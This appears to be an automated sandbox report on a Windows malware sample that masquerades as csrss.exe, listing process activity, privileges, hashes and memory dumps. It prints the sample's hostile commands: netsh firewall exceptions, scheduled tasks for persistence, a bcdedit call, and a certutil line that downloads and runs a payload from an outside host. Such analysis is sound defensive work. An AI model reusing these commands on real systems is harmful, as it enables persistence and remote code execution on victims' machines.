9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Suspicious behavior: EnumeratesProcesses

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execsrss.exe

Reported IOCs

pid	process
1708	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1708	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1684	csrss.exe
1684	csrss.exe
1684	csrss.exe
1684	csrss.exe

Suspicious use of AdjustPrivilegeToken

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exesvchost.execsrss.exe

Reported IOCs

description	pid	process
Token: SeDebugPrivilege	1708	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
Token: SeImpersonatePrivilege	1708	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
Token: SeTcbPrivilege	1412	svchost.exe
Token: SeTcbPrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeSystemEnvironmentPrivilege	1684	csrss.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe
Token: SeBackupPrivilege	1412	svchost.exe
Token: SeRestorePrivilege	1412	svchost.exe

Suspicious use of WriteProcessMemory

svchost.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.execmd.execsrss.exe

Reported IOCs

description	pid	process	target process
PID 1412 wrote to memory of 1704	1412	svchost.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
PID 1412 wrote to memory of 1704	1412	svchost.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
PID 1412 wrote to memory of 1704	1412	svchost.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
PID 1704 wrote to memory of 4772	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	cmd.exe
PID 1704 wrote to memory of 4772	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	cmd.exe
PID 4772 wrote to memory of 4960	4772	cmd.exe	netsh.exe
PID 4772 wrote to memory of 4960	4772	cmd.exe	netsh.exe
PID 1704 wrote to memory of 1944	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	cmd.exe
PID 1704 wrote to memory of 1944	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	cmd.exe
PID 1944 wrote to memory of 3860	1944	cmd.exe	netsh.exe
PID 1944 wrote to memory of 3860	1944	cmd.exe	netsh.exe
PID 1704 wrote to memory of 1684	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	csrss.exe
PID 1704 wrote to memory of 1684	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	csrss.exe
PID 1704 wrote to memory of 1684	1704	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe	csrss.exe
PID 1412 wrote to memory of 3532	1412	svchost.exe	schtasks.exe
PID 1412 wrote to memory of 3532	1412	svchost.exe	schtasks.exe
PID 1412 wrote to memory of 4236	1412	svchost.exe	schtasks.exe
PID 1412 wrote to memory of 4236	1412	svchost.exe	schtasks.exe
PID 1412 wrote to memory of 4860	1412	svchost.exe	patch.exe
PID 1412 wrote to memory of 4860	1412	svchost.exe	patch.exe
PID 1684 wrote to memory of 4788	1684	csrss.exe	bcdedit.exe
PID 1684 wrote to memory of 4788	1684	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

"C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"

Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken

PID:1708

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 368

Program crash

PID:2968

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 372

Program crash

PID:1804

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 372

Program crash

PID:4216

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 608

Program crash

PID:4528

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 700

Program crash

PID:1276

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 700

Program crash

PID:2336

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 732

Program crash

PID:3320

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 740

Program crash

PID:4976

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 732

Program crash

PID:2016

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 632

Program crash

PID:4252

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 860

Program crash

PID:4700

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 824

Program crash

PID:3648

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 620

Program crash

PID:940

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 756

Program crash

PID:3416

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 620

Program crash

PID:1600

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 608

Program crash

PID:4612

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 768

Program crash

PID:484

C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

"C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"

Adds Run key to start application
Drops file in Windows directory
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory

PID:1704

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 332

Program crash

PID:4524

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 336

Program crash

PID:3524

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 360

Program crash

PID:1972

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 632

Program crash

PID:2012

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 692

Program crash

PID:2460

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 692

Program crash

PID:696

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 648

Program crash

PID:428

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 716

Program crash

PID:1220

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 736

Program crash

PID:4924

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

Suspicious use of WriteProcessMemory

PID:4772

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

PID:4960

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes"

Suspicious use of WriteProcessMemory

PID:1944

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes

PID:3860

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe ""

Executes dropped EXE
Drops file in System32 directory
Drops file in Windows directory
Modifies data under HKEY_USERS
Modifies system certificate store
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory

PID:1684

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 368

Program crash

PID:3452

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 388

Program crash

PID:624

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 384

Program crash

PID:2940

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 544

Program crash

PID:3120

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 576

Program crash

PID:3956

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 576

Program crash

PID:4600

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 576

Program crash

PID:1344

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

Creates scheduled task(s)

PID:3532

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F

Creates scheduled task(s)

PID:4236

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 864

Program crash

PID:2320

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 864

Program crash

PID:4304

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 864

Program crash

PID:4352

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 932

Program crash

PID:4604

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 940

Program crash

PID:1532

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 956

Program crash

PID:5080

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"

Executes dropped EXE

PID:4860

C:\Windows\system32\bcdedit.exe

C:\Windows\Sysnative\bcdedit.exe /v

Modifies boot configuration data using bcdedit

PID:4788

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 980

Program crash

PID:3260

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1084

Program crash

PID:3640

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1100

Program crash

PID:2296

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 812

Program crash

PID:4984

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1080

Program crash

PID:3376

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1120

Program crash

PID:628

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1080

Program crash

PID:1916

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1144

Program crash

PID:4160

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 812

Program crash

PID:2348

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1680

Program crash

PID:4544

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1560

Program crash

PID:4224

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1832

Program crash

PID:3856

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1848

Program crash

PID:2972

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1588

Program crash

PID:4584

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1600

Program crash

PID:1480

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1972

Program crash

PID:692

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1604

Program crash

PID:4988

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1620

Program crash

PID:1780

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1804

Program crash

PID:1588

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1592

Program crash

PID:3140

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1680

Program crash

PID:3312

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 640

Program crash

PID:1908

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1604

Program crash

PID:1160

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1816

Program crash

PID:4632

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1836

Program crash

PID:360

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 1708 -ip 1708

PID:2580

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1708 -ip 1708

PID:4356

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1708 -ip 1708

PID:4244

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1708 -ip 1708

PID:4556

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1708 -ip 1708

PID:836

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1708 -ip 1708

PID:2780

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1708 -ip 1708

PID:5080

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1708 -ip 1708

PID:5064

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1708 -ip 1708

PID:4856

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1708 -ip 1708

PID:3752

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1708 -ip 1708

PID:3188

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708

PID:2196

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1708 -ip 1708

PID:4084

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1708 -ip 1708

PID:984

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708

PID:2980

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1708 -ip 1708

PID:3376

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1708 -ip 1708

PID:628

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon

Suspicious use of NtCreateUserProcessOtherParentProcess
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory

PID:1412

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1704 -ip 1704

PID:4024

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1704 -ip 1704

PID:5036

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1704 -ip 1704

PID:4224

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1704 -ip 1704

PID:3116

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1704 -ip 1704

PID:3936

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1704 -ip 1704

PID:1676

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1704 -ip 1704

PID:3584

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1704 -ip 1704

PID:1224

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1704 -ip 1704

PID:2068

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1684 -ip 1684

PID:2288

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1684 -ip 1684

PID:4708

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1684 -ip 1684

PID:1872

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1684 -ip 1684

PID:3200

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1684 -ip 1684

PID:1860

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1684 -ip 1684

PID:4520

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1684 -ip 1684

PID:2344

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1684 -ip 1684

PID:2420

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1684 -ip 1684

PID:4232

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1684 -ip 1684

PID:4324

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1684 -ip 1684

PID:840

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1684 -ip 1684

PID:1416

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 1684 -ip 1684

PID:4532

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1684 -ip 1684

PID:4568

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1684 -ip 1684

PID:3552

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1684 -ip 1684

PID:3656

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1684 -ip 1684

PID:3680

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1684 -ip 1684

PID:3888

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 1684 -ip 1684

PID:1608

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1684 -ip 1684

PID:3496

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1684 -ip 1684

PID:4228

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 1684 -ip 1684

PID:2500

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1684 -ip 1684

PID:4420

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1684 -ip 1684

PID:4896

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 1684 -ip 1684

PID:1332

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1684 -ip 1684

PID:2416

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1684 -ip 1684

PID:4468

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1684 -ip 1684

PID:4364

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1684 -ip 1684

PID:4776

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1684 -ip 1684

PID:4588

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1684 -ip 1684

PID:4960

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1684 -ip 1684

PID:1820

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1684 -ip 1684

PID:4308

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1684 -ip 1684

PID:2384

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1684 -ip 1684

PID:1548

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 1684 -ip 1684

PID:4660

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1684 -ip 1684

PID:3964

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1684 -ip 1684

PID:2184

Collection

Command and Control

Credential Access

Defense Evasion

Discovery

Query Registry

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Privilege Escalation

00:00 00:00

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
7da8b9fc5c5a67a06afc0749473f1b6e

SHA1
7b0c1138015a3a573469e1142e44be65b73979c5

SHA256
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7

SHA512
5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7

Download Submit
C:\Windows\rss\csrss.exe
MD5
7da8b9fc5c5a67a06afc0749473f1b6e

SHA1
7b0c1138015a3a573469e1142e44be65b73979c5

SHA256
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7

SHA512
5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7

Download Submit
memory/1684-146-0x0000000000400000-0x00000000036C8000-memory.dmp

Download
memory/1684-143-0x0000000005800000-0x0000000005BA7000-memory.dmp

Download
memory/1684-140-0x0000000000000000-mapping.dmp

Download
memory/1704-136-0x0000000000400000-0x00000000036C8000-memory.dmp

Download
memory/1704-133-0x0000000000000000-mapping.dmp

Download
memory/1704-134-0x0000000005425000-0x00000000057CC000-memory.dmp

Download
memory/1708-131-0x0000000005800000-0x0000000005EF6000-memory.dmp

Download
memory/1708-132-0x0000000000400000-0x00000000036C8000-memory.dmp

Download
memory/1708-130-0x0000000005452000-0x00000000057F9000-memory.dmp

Download
memory/1944-138-0x0000000000000000-mapping.dmp

Download
memory/3532-144-0x0000000000000000-mapping.dmp

Download
memory/3860-139-0x0000000000000000-mapping.dmp

Download
memory/4236-145-0x0000000000000000-mapping.dmp

Download
memory/4772-135-0x0000000000000000-mapping.dmp

Download
memory/4788-149-0x0000000000000000-mapping.dmp

Download
memory/4860-147-0x0000000000000000-mapping.dmp

Download
memory/4960-137-0x0000000000000000-mapping.dmp

Download

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